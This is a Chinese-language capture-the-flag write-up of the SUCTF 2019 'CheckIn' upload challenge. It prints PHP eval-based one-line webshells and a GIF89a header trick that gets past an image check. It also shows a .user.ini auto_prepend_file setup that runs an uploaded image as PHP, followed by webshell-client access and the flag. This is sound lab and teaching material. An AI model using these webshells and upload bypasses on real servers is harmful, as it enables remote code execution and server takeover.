web17([SUCTF 2019]CheckIn):

舌口發表於2024-11-23

1.進入頁面發現是檔案上傳題(CTRL+U後發現原始碼無提示)--->上傳包含一句話木馬的.php檔案(之後抓包修改filename和content-type還是不行)和.htaccess檔案發現存在過濾
(1)1.php檔案:illegal suffix!
一句話木馬:<?php @eval($_POST['a']) ?>

(2)抓包修改的記錄:illegal suffix!

.htaccess:exif_imagetype檔案:not image!

exif_imagetype()函式用於判斷影像的型別,會讀取檔案的第一個位元組並檢測前面
tips:可以給檔案內容第一行加上GIF89a繞過(這是GIF檔案的檔案頭的Ascii碼)
如果沒有使用<script>繞過檢測會報錯 "<? in content" (過濾了 <?)
2.在使用<script></script>包裹一句話木馬後在上一行加上"GIF89a",最後抓包修改filename和content-type繞過檢測(上傳成功)

修改後的一句話木馬:

GIF89a
<script language='php'>eval($_REQUEST['a']);</script>

因為上傳的檔案還是圖片所以要想辦法轉化成php程式碼執行,但是".htaccess"又被限制不能使用,只能使用.user.ini配置檔案繞過了

3.上傳".user.ini"檔案將之前上傳的2.gif檔案作為php程式碼執行(上傳成功)
4.將回顯拼接成URL地址後登入蟻劍--->在伺服器的根目錄找到flag


index.php在upload和檔案後面
所以url:
` ``
"網頁地址(去掉index.php)"+/uploads/"回顯的路徑"+/index.php
http://ffa5fa0f-f5dc-49ac-95df-ad5fb308da2f.node5.buuoj.cn:81/uploads/ec53bc853c0c94f2bf546edd1a265425/index.php//例如

FLAG:flag{d9154f71-fa3e-463c-9546-8b516b44324b}
知識點: .user.ini 配置檔案
.user.ini是php的預設配置檔案
  常用命令:
    auto_prepend_file:指定在每個PHP指令碼之前自動載入的檔案。該檔案的內容將被插入到原始指令碼的頂部。例如,auto_prepend_file = "/path/to/prepend.php"。
    auto_append_file:指定在每個PHP指令碼之後自動載入的檔案。該檔案的內容將被插入到原始指令碼的末尾。例如,auto_append_file = "/path/to/append.php"。
  特點是上傳時需要目錄下存在.php檔案